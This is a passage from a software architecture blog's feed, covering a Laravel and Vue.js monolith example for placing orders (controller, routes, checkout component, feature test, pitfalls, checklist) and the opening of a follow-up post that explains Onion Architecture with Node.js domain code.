<span class="kd">class</span> <span class="nc">OrderConfirmed</span> <span class="kd">extends</span> <span class="nc">Mailable</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="k">public</span> <span class="kt">Order</span> <span class="nv">$order</span><span class="p">)</span> <span class="p">{}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">build</span><span class="p">():</span> <span class="kt">self</span>
    <span class="p">{</span>
        <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">subject</span><span class="p">(</span><span class="s1">'Order confirmed'</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nf">view</span><span class="p">(</span><span class="s1">'emails.order-confirmed'</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nf">with</span><span class="p">([</span><span class="s1">'order'</span> <span class="o">=&gt;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">order</span><span class="p">]);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="6-controller-and-route--wiring-inside-the-same-process">6. Controller and route — wiring inside the same process</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/Http/Controllers/OrderController.php</span>
<span class="kn">namespace</span> <span class="nn">App\Http\Controllers</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">App\Services\Exceptions\OutOfStockException</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">App\Services\OrderService</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Http\Request</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">OrderController</span> <span class="kd">extends</span> <span class="nc">Controller</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="k">private</span> <span class="kt">OrderService</span> <span class="nv">$orderService</span><span class="p">)</span> <span class="p">{}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">store</span><span class="p">(</span><span class="kt">Request</span> <span class="nv">$request</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="nv">$validated</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">validate</span><span class="p">([</span>
            <span class="s1">'customer_id'</span> <span class="o">=&gt;</span> <span class="s1">'required|string'</span><span class="p">,</span>
            <span class="s1">'email'</span> <span class="o">=&gt;</span> <span class="s1">'required|email'</span><span class="p">,</span>
            <span class="s1">'items'</span> <span class="o">=&gt;</span> <span class="s1">'required|array|min:1'</span><span class="p">,</span>
        <span class="p">]);</span>

        <span class="k">try</span> <span class="p">{</span>
            <span class="nv">$order</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">orderService</span><span class="o">-&gt;</span><span class="nf">placeOrder</span><span class="p">(</span>
                <span class="nv">$validated</span><span class="p">[</span><span class="s1">'customer_id'</span><span class="p">],</span>
                <span class="nv">$validated</span><span class="p">[</span><span class="s1">'items'</span><span class="p">],</span>
                <span class="nv">$validated</span><span class="p">[</span><span class="s1">'email'</span><span class="p">],</span>
            <span class="p">);</span>

            <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">(</span><span class="nv">$order</span><span class="p">,</span> <span class="mi">201</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">OutOfStockException</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="nf">getMessage</span><span class="p">()],</span> <span class="mi">409</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// routes/web.php</span>
<span class="kn">use</span> <span class="nc">App\Http\Controllers\OrderController</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Support\Facades\Route</span><span class="p">;</span>

<span class="nc">Route</span><span class="o">::</span><span class="nf">get</span><span class="p">(</span><span class="s1">'/checkout'</span><span class="p">,</span> <span class="k">fn</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="nf">view</span><span class="p">(</span><span class="s1">'checkout'</span><span class="p">));</span>
<span class="nc">Route</span><span class="o">::</span><span class="nf">post</span><span class="p">(</span><span class="s1">'/orders'</span><span class="p">,</span> <span class="p">[</span><span class="nc">OrderController</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="s1">'store'</span><span class="p">]);</span>
</code></pre></div></div>

<figure>
<svg id="diagram-monolith-flow" viewBox="0 0 680 200" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Flow inside one process: a Vue.js component submits to a Laravel route, which calls the order service directly. Order service calls inventory service and Mail directly as in-process calls, all sharing one database connection.">
  <style>
    #diagram-monolith-flow .dg-k{font:600 12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    #diagram-monolith-flow .dg-n{font:11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    #diagram-monolith-flow .dg-bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
    #diagram-monolith-flow .dg-uc{fill:#dbeafe;stroke:#60a5fa;stroke-width:1.5;}
  </style>
  <rect class="dg-bx" x="1" y="70" width="130" height="46" rx="8" />
  <text class="dg-k" x="14" y="90">CheckoutForm</text>
  <text class="dg-n" x="14" y="107">.vue</text>

  <path d="M131 93 H162" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="165,93 156,88 156,98" fill="#94a3b8" />

  <rect class="dg-uc" x="165" y="64" width="150" height="58" rx="8" />
  <text class="dg-k" x="178" y="88">OrderController</text>
  <text class="dg-n" x="178" y="106">method call</text>

  <path d="M315 78 H360 M315 108 H360" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="363,78 354,73 354,83" fill="#94a3b8" />
  <polygon points="363,108 354,103 354,113" fill="#94a3b8" />

  <rect class="dg-bx" x="363" y="50" width="160" height="36" rx="8" />
  <text class="dg-k" x="373" y="72">InventoryService</text>
  <rect class="dg-bx" x="363" y="100" width="160" height="36" rx="8" />
  <text class="dg-k" x="405" y="122">Mail</text>

  <path d="M443 86 V150 M443 136 V150" fill="none" stroke="#15803d" stroke-width="1.3" />
  <path d="M373 86 L443 150" fill="none" stroke="#15803d" stroke-width="1.3" opacity="0" />

  <rect class="dg-bx" x="373" y="150" width="140" height="36" rx="8" fill="#eff6ff" />
  <text class="dg-k" x="410" y="172">MySQL</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Every arrow is an in-process call. There is no network between modules — only between the browser and the app.</figcaption>
</figure>

<h3 id="7-frontend--a-vuejs-component-in-the-same-repo">7. Frontend — a Vue.js component in the same repo</h3>

<div class="language-vue highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- resources/js/components/CheckoutForm.vue --&gt;</span>
<span class="nt">&lt;</span><span class="k">script</span> <span class="na">setup</span><span class="nt">&gt;</span>
<span class="k">import</span> <span class="p">{</span> <span class="nx">ref</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">vue</span><span class="dl">'</span><span class="p">;</span>
<span class="k">import</span> <span class="nx">axios</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">axios</span><span class="dl">'</span><span class="p">;</span>

<span class="kd">const</span> <span class="nx">items</span> <span class="o">=</span> <span class="nx">ref</span><span class="p">([{</span> <span class="na">product_id</span><span class="p">:</span> <span class="dl">''</span><span class="p">,</span> <span class="na">quantity</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">unit_price</span><span class="p">:</span> <span class="mi">0</span> <span class="p">}]);</span>
<span class="kd">const</span> <span class="nx">email</span> <span class="o">=</span> <span class="nx">ref</span><span class="p">(</span><span class="dl">''</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">error</span> <span class="o">=</span> <span class="nx">ref</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">order</span> <span class="o">=</span> <span class="nx">ref</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">submitOrder</span><span class="p">()</span> <span class="p">{</span>
  <span class="nx">error</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>

  <span class="k">try</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">response</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/orders</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
      <span class="na">customer_id</span><span class="p">:</span> <span class="dl">'</span><span class="s1">c1</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">email</span><span class="p">:</span> <span class="nx">email</span><span class="p">.</span><span class="nx">value</span><span class="p">,</span>
      <span class="na">items</span><span class="p">:</span> <span class="nx">items</span><span class="p">.</span><span class="nx">value</span><span class="p">,</span>
    <span class="p">});</span>
    <span class="nx">order</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">error</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">e</span><span class="p">.</span><span class="nx">response</span><span class="p">?.</span><span class="nx">data</span><span class="p">?.</span><span class="nx">error</span> <span class="o">??</span> <span class="dl">'</span><span class="s1">Something went wrong</span><span class="dl">'</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="nt">&lt;/</span><span class="k">script</span><span class="nt">&gt;</span>

<span class="nt">&lt;</span><span class="k">template</span><span class="nt">&gt;</span>
  <span class="nt">&lt;form</span> <span class="err">@</span><span class="na">submit.prevent=</span><span class="s">"submitOrder"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;input</span> <span class="na">v-model=</span><span class="s">"email"</span> <span class="na">type=</span><span class="s">"email"</span> <span class="na">placeholder=</span><span class="s">"Email"</span> <span class="na">required</span> <span class="nt">/&gt;</span>

    <span class="nt">&lt;div</span> <span class="na">v-for=</span><span class="s">"(item, index) in items"</span> <span class="na">:key=</span><span class="s">"index"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">v-model=</span><span class="s">"item.product_id"</span> <span class="na">placeholder=</span><span class="s">"Product ID"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">v-model.number=</span><span class="s">"item.quantity"</span> <span class="na">type=</span><span class="s">"number"</span> <span class="na">min=</span><span class="s">"1"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">v-model.number=</span><span class="s">"item.unit_price"</span> <span class="na">type=</span><span class="s">"number"</span> <span class="na">step=</span><span class="s">"0.01"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/div&gt;</span>

    <span class="nt">&lt;button</span> <span class="na">type=</span><span class="s">"submit"</span><span class="nt">&gt;</span>Place order<span class="nt">&lt;/button&gt;</span>

    <span class="nt">&lt;p</span> <span class="na">v-if=</span><span class="s">"error"</span><span class="nt">&gt;</span><span class="si">{{</span> <span class="nx">error</span> <span class="si">}}</span><span class="nt">&lt;/p&gt;</span>
    <span class="nt">&lt;p</span> <span class="na">v-if=</span><span class="s">"order"</span><span class="nt">&gt;</span>Order <span class="si">{{</span> <span class="nx">order</span><span class="p">.</span><span class="nx">id</span> <span class="si">}}</span> confirmed — total <span class="si">{{</span> <span class="nx">order</span><span class="p">.</span><span class="nx">total</span> <span class="si">}}</span><span class="nt">&lt;/p&gt;</span>
  <span class="nt">&lt;/form&gt;</span>
<span class="nt">&lt;/</span><span class="k">template</span><span class="nt">&gt;</span>
</code></pre></div></div>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// resources/js/app.js</span>
<span class="k">import</span> <span class="p">{</span> <span class="nx">createApp</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">vue</span><span class="dl">'</span><span class="p">;</span>
<span class="k">import</span> <span class="nx">CheckoutForm</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">./components/CheckoutForm.vue</span><span class="dl">'</span><span class="p">;</span>

<span class="nx">createApp</span><span class="p">(</span><span class="nx">CheckoutForm</span><span class="p">).</span><span class="nx">mount</span><span class="p">(</span><span class="dl">'</span><span class="s1">#checkout-form</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<p>The Vue component talks to <code class="language-plaintext highlighter-rouge">/orders</code> over plain HTTP because it runs in the browser — but the <em>build</em> of that component ships inside the same Laravel repo, compiled by the same Vite pipeline, deployed by the same <code class="language-plaintext highlighter-rouge">php artisan</code> release. There’s no separate frontend service, repo, or deploy pipeline unless you deliberately choose to split it out.</p>

<h3 id="8-testing--in-the-same-process-no-mocking-a-network">8. Testing — in the same process, no mocking a network</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// tests/Feature/OrderTest.php</span>
<span class="kn">namespace</span> <span class="nn">Tests\Feature</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">App\Models\Stock</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Foundation\Testing\RefreshDatabase</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Support\Facades\Mail</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Tests\TestCase</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">OrderTest</span> <span class="kd">extends</span> <span class="nc">TestCase</span>
<span class="p">{</span>
    <span class="kn">use</span> <span class="nc">RefreshDatabase</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">test_rejects_an_order_when_stock_is_unavailable</span><span class="p">():</span> <span class="kt">void</span>
    <span class="p">{</span>
        <span class="nc">Mail</span><span class="o">::</span><span class="nf">fake</span><span class="p">();</span>

        <span class="nc">Stock</span><span class="o">::</span><span class="nf">create</span><span class="p">([</span><span class="s1">'product_id'</span> <span class="o">=&gt;</span> <span class="s1">'p1'</span><span class="p">,</span> <span class="s1">'quantity'</span> <span class="o">=&gt;</span> <span class="mi">0</span><span class="p">]);</span>

        <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">postJson</span><span class="p">(</span><span class="s1">'/orders'</span><span class="p">,</span> <span class="p">[</span>
            <span class="s1">'customer_id'</span> <span class="o">=&gt;</span> <span class="s1">'c1'</span><span class="p">,</span>
            <span class="s1">'email'</span> <span class="o">=&gt;</span> <span class="s1">'a@example.com'</span><span class="p">,</span>
            <span class="s1">'items'</span> <span class="o">=&gt;</span> <span class="p">[[</span><span class="s1">'product_id'</span> <span class="o">=&gt;</span> <span class="s1">'p1'</span><span class="p">,</span> <span class="s1">'quantity'</span> <span class="o">=&gt;</span> <span class="mi">1</span><span class="p">,</span> <span class="s1">'unit_price'</span> <span class="o">=&gt;</span> <span class="mi">10</span><span class="p">]],</span>
        <span class="p">]);</span>

        <span class="nv">$response</span><span class="o">-&gt;</span><span class="nf">assertStatus</span><span class="p">(</span><span class="mi">409</span><span class="p">);</span>
        <span class="nc">Mail</span><span class="o">::</span><span class="nf">assertNothingSent</span><span class="p">();</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There’s no port or interface to satisfy — the test hits the real <code class="language-plaintext highlighter-rouge">OrderController</code> through Laravel’s HTTP testing helpers and a real (in-memory/test) database, because in a monolith “the module” and “the dependency” are the same codebase.</p>

<hr />

<h2 id="why-this-pays-off-speed-for-a-while">Why this pays off: speed, for a while</h2>

<p>One repo, one deploy pipeline, one process to run locally. A new developer clones the repo, runs <code class="language-plaintext highlighter-rouge">composer install &amp;&amp; npm install &amp;&amp; php artisan serve</code>, and the whole application — orders, inventory, notifications, and the Vue checkout form — is up. There’s no service mesh to configure, no distributed tracing to set up just to see one request’s path, and a database transaction across “orders” and “inventory” is a normal Eloquent transaction, not a saga.</p>

<hr />

<h2 id="the-traps">The traps</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Mistake</th>
        <th>Why it hurts</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Letting modules reach into each other’s tables directly</strong></td>
        <td>The orders controller running raw queries against <code class="language-plaintext highlighter-rouge">stock</code> bypasses <code class="language-plaintext highlighter-rouge">InventoryService</code>’s rules — now stock logic lives in two places.</td>
      </tr>
      <tr>
        <td><strong>No internal module boundaries at all</strong></td>
        <td>A monolith with every Eloquent query and every Vue call thrown into one giant controller isn’t “simple,” it’s a ball of mud — internal structure still matters even without network boundaries.</td>
      </tr>
      <tr>
        <td><strong>Scaling the whole app because one endpoint is hot</strong></td>
        <td>If checkout gets 100x traffic but the rest of the app doesn’t, you’re paying to scale features that don’t need it.</td>
      </tr>
      <tr>
        <td><strong>One failing module taking down the whole process</strong></td>
        <td>An unhandled exception in the mail service can crash the request serving orders and inventory too — there’s no isolation between them.</td>
      </tr>
      <tr>
        <td><strong>Treating “monolith” as an excuse to skip tests</strong></td>
        <td>The lack of network boundaries makes tests <em>easier</em> (see above), not optional.</td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="when-to-reach-for-it">When to reach for it</h2>

<p>A monolith is the default for good reason — it minimizes operational cost until you have a proven reason to pay more. It’s the right shape when:</p>

<ul>
  <li>the team is <strong>small enough that one deploy pipeline and one on-call rotation is simpler</strong>, not slower;</li>
  <li>the domain is <strong>still being discovered</strong>, so splitting it into services now would mean guessing the wrong boundaries and paying to undo them;</li>
  <li>you need <strong>strong consistency</strong> — one database transaction across features — more than independent scaling;</li>
  <li><strong>low operational overhead</strong> matters more than independent deployability: no service mesh, no distributed tracing, no per-service on-call.</li>
</ul>

<p>Reach for microservices instead when different parts of the system genuinely need to scale, deploy, or fail independently — and you have the team size to run several services well. Splitting too early just turns one deployable thing into ten things that all still change together.</p>

<hr />

<h2 id="a-five-point-checklist">A five-point checklist</h2>

<ol>
  <li><strong>Keep internal module boundaries even without network boundaries.</strong> <code class="language-plaintext highlighter-rouge">app/Services/Orders</code>, <code class="language-plaintext highlighter-rouge">app/Services/Inventory</code> — separate classes, no reaching into another module’s tables.</li>
  <li><strong>Share one database, but don’t let every module touch every table.</strong> Route access through the owning module’s service class.</li>
  <li><strong>Handle errors per-request, not just per-process.</strong> One module’s exception shouldn’t be able to crash requests served by another.</li>
  <li><strong>Test modules through their public methods and HTTP endpoints, not their internals.</strong> It keeps the option to extract a module into its own service later.</li>
  <li><strong>Revisit the shape when a real scaling or team-boundary pain shows up</strong> — not before, and not because a blog post said monoliths are outdated.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Monolithic Architecture is one idea: <strong>everything — UI, business logic, data access — ships, runs, and scales as a single unit.</strong> With Laravel and Vue.js that means one Laravel app, service classes that call each other as plain PHP methods, a Vue component compiled into the same build, and one shared database connection — no ports, no adapters, no network between your own code.</p>

<p>The payoff is speed: one thing to build, deploy, and debug, with real transactions instead of distributed ones. The cost shows up later — as a team, a codebase, or a traffic pattern that genuinely needs independent parts. Until then, the monolith isn’t a shortcut you’ll regret; it’s the architecture doing exactly what it’s for.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Architecture" /><summary type="html"><![CDATA[Monolithic Architecture in plain terms: what "one deployable unit" really means, and one real feature — placing an order — built the monolith way with Laravel and Vue.js. A 10–15 minute read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Onion Architecture Explained with a Real-World Use Case</title><link href="https://milandawijekoon.github.io/blog/onion-architecture-explained-with-a-real-world-use-case/" rel="alternate" type="text/html" title="Onion Architecture Explained with a Real-World Use Case" /><published>2026-09-15T00:00:00+00:00</published><updated>2026-09-15T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/onion-architecture-explained-with-a-real-world-use-case</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/onion-architecture-explained-with-a-real-world-use-case/"><![CDATA[<p>Onion Architecture was coined by Jeffrey Palermo in 2008 to solve a problem he kept seeing: layered (“N-tier”) applications where the domain model quietly depended on the database layer, so you couldn’t change one without breaking the other.</p>

<p>This note strips it to the essentials: the rings, the one rule that holds them together, and one real feature — placing an order in a small API — built the onion way in Node.js. It reads in about 10–15 minutes.</p>

<hr />

<h2 id="the-one-sentence-definition">The one-sentence definition</h2>

<p><strong>Onion Architecture arranges code in concentric rings around a domain model at the center, where every dependency points inward — outer rings (UI, database, frameworks) may depend on inner rings, but an inner ring never depends on an outer one.</strong></p>

<p>Everything below is a consequence of that sentence.</p>

<hr />

<h2 id="why-rings">Why rings?</h2>

<p>Peel an onion and you always reach the same core, no matter which layer you cut through. That’s the metaphor: no matter how many layers surround it, the <strong>domain model</strong> at the center stays untouched by the outside world.</p>

<figure>
<svg viewBox="0 0 640 460" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Four concentric rings. Center: Domain Model (entities). Next ring: Domain Services. Next ring: Application Services, which defines interfaces. Outer ring: Infrastructure and UI, containing Express, Postgres and email adapters that implement those interfaces. An arrow shows all dependencies point inward toward the center.">
  <style>
    .lbl{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .sub{font:10.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
    .k{font:600 11px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .note{font:11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
  </style>

  <circle cx="320" cy="220" r="200" fill="#eff6ff" stroke="#bfdbfe" stroke-width="1.5" />
  <circle cx="320" cy="220" r="150" fill="#dbeafe" stroke="#93c5fd" stroke-width="1.5" />
  <circle cx="320" cy="220" r="95" fill="#bfdbfe" stroke="#60a5fa" stroke-width="1.5" />
  <circle cx="320" cy="220" r="45" fill="#3b82f6" stroke="#1d4ed8" stroke-width="2" />

  <text class="lbl" x="320" y="216" fill="#ffffff" text-anchor="middle">Domain</text>
  <text class="lbl" x="320" y="232" fill="#ffffff" text-anchor="middle">Model</text>

  <text class="lbl" x="320" y="140" fill="#0f172a" text-anchor="middle">Domain Services</text>
  <text class="sub" x="320" y="155" text-anchor="middle">rules across entities</text>

  <text class="lbl" x="320" y="88" fill="#0f172a" text-anchor="middle">Application Services</text>
  <text class="sub" x="320" y="103" text-anchor="middle">use cases + interfaces (ports)</text>

  <text class="lbl" x="320" y="36" fill="#0f172a" text-anchor="middle">Infrastructure &amp; UI</text>
  <text class="sub" x="320" y="50" text-anchor="middle">Express, Postgres, email — implements interfaces</text>

  <path d="M320 400 A180 180 0 0 1 460 340" fill="none" stroke="#1d4ed8" stroke-width="2.5" marker-end="url(#arrow)" />
  <defs>
    <marker id="arrow" markerWidth="10" markerHeight="10" refX="6" refY="3" orient="auto">
      <path d="M0,0 L6,3 L0,6 Z" fill="#1d4ed8" />
    </marker>
  </defs>
  <text class="note" x="470" y="345">dependencies point inward</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Every arrow points toward the center. The Domain Model imports nothing from the rings around it.</figcaption>
</figure>

<table>
  <thead>
    <tr>
      <th>Ring (center → edge)</th>
      <th>Contains</th>
      <th>Depends on</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Domain Model</strong></td>
      <td>Entities, value objects — pure data and invariants.</td>
      <td>Nothing.</td>
    </tr>
    <tr>
      <td><strong>Domain Services</strong></td>
      <td>Business rules that span more than one entity.</td>
      <td>Domain Model only.</td>
    </tr>
    <tr>
      <td><strong>Application Services</strong></td>
      <td>Use cases, and the <strong>interfaces</strong> (ports) those use cases need from the outside.</td>
      <td>Domain layers only — never a concrete database or framework.</td>
    </tr>
    <tr>
      <td><strong>Infrastructure &amp; UI</strong></td>
      <td>Express routes, Postgres repositories, email senders — everything that implements an interface or talks to the world.</td>
      <td>Everything inward. This is the only ring allowed to <code class="language-plaintext highlighter-rouge">require('express')</code> or <code class="language-plaintext highlighter-rouge">require('pg')</code>.</td>
    </tr>
  </tbody>
</table>

<p>If this sounds like Hexagonal or Clean Architecture — it should. Onion, Hexagonal, and Clean Architecture are siblings sharing the same <strong>Dependency Rule</strong>: source code dependencies point inward, and the innermost layer knows nothing about the outermost. Onion’s distinguishing feature is naming the inward layers explicitly as rings (Domain Model → Domain Services → Application Services) rather than just “core vs. adapters.”</p>

<hr />

<h2 id="real-world-use-case-place-an-order">Real-world use case: “Place an order”</h2>

<p>A customer submits a cart. The system must: verify every product is in stock, calculate the total with any discount, save the order, and send a confirmation email. We’ll build it in Node.js, ring by ring, from the center out.</p>

<h3 id="1-domain-model--entities-and-invariants-nothing-else">1. Domain Model — entities and invariants, nothing else</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// domain/model/order.js</span>
<span class="kd">class</span> <span class="nx">Order</span> <span class="p">{</span>
  <span class="kd">constructor</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">customerId</span><span class="p">,</span> <span class="nx">items</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">items</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">An order must have at least one item</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">id</span> <span class="o">=</span> <span class="nx">id</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">customerId</span> <span class="o">=</span> <span class="nx">customerId</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">items</span> <span class="o">=</span> <span class="nx">items</span><span class="p">;</span> <span class="c1">// [{ productId, quantity, unitPrice }]</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">PENDING</span><span class="dl">'</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="nx">total</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">items</span><span class="p">.</span><span class="nx">reduce</span><span class="p">((</span><span class="nx">sum</span><span class="p">,</span> <span class="nx">i</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">sum</span> <span class="o">+</span> <span class="nx">i</span><span class="p">.</span><span class="nx">quantity</span> <span class="o">*</span> <span class="nx">i</span><span class="p">.</span><span class="nx">unitPrice</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="nx">confirm</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">CONFIRMED</span><span class="dl">'</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">Order</span> <span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Order</code> knows what makes an order valid and how to total itself. It has never heard of Postgres, Express, or JSON.</p>

<h3 id="2-domain-services--rules-that-span-more-than-one-entity">2. Domain Services — rules that span more than one entity</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// domain/services/pricing.js</span>

<span class="c1">// A domain service belongs here — not on Order itself — because</span>
<span class="c1">// discounting needs the Customer entity too, not just the Order.</span>
<span class="kd">function</span> <span class="nx">applyLoyaltyDiscount</span><span class="p">(</span><span class="nx">order</span><span class="p">,</span> <span class="nx">customer</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">discountRate</span> <span class="o">=</span> <span class="nx">customer</span><span class="p">.</span><span class="nx">loyaltyTier</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">GOLD</span><span class="dl">'</span> <span class="p">?</span> <span class="mf">0.1</span> <span class="p">:</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">return</span> <span class="nx">order</span><span class="p">.</span><span class="nx">total</span><span class="p">()</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="nx">discountRate</span><span class="p">);</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">applyLoyaltyDiscount</span> <span class="p">};</span>
</code></pre></div></div>

<p>Still no I/O. <code class="language-plaintext highlighter-rouge">applyLoyaltyDiscount</code> is pure: same inputs, same output, every time.</p>

<h3 id="3-application-services--the-use-case-and-the-ports-it-needs">3. Application Services — the use case, and the ports it needs</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// application/ports.js</span>

<span class="c1">// Ports are documented shapes (Node has no interfaces) that the</span>
<span class="c1">// use case depends on. Infrastructure adapters implement them.</span>
<span class="c1">//   ProductCatalog: { checkStock(items) }</span>
<span class="c1">//   OrderRepository: { save(order) }</span>
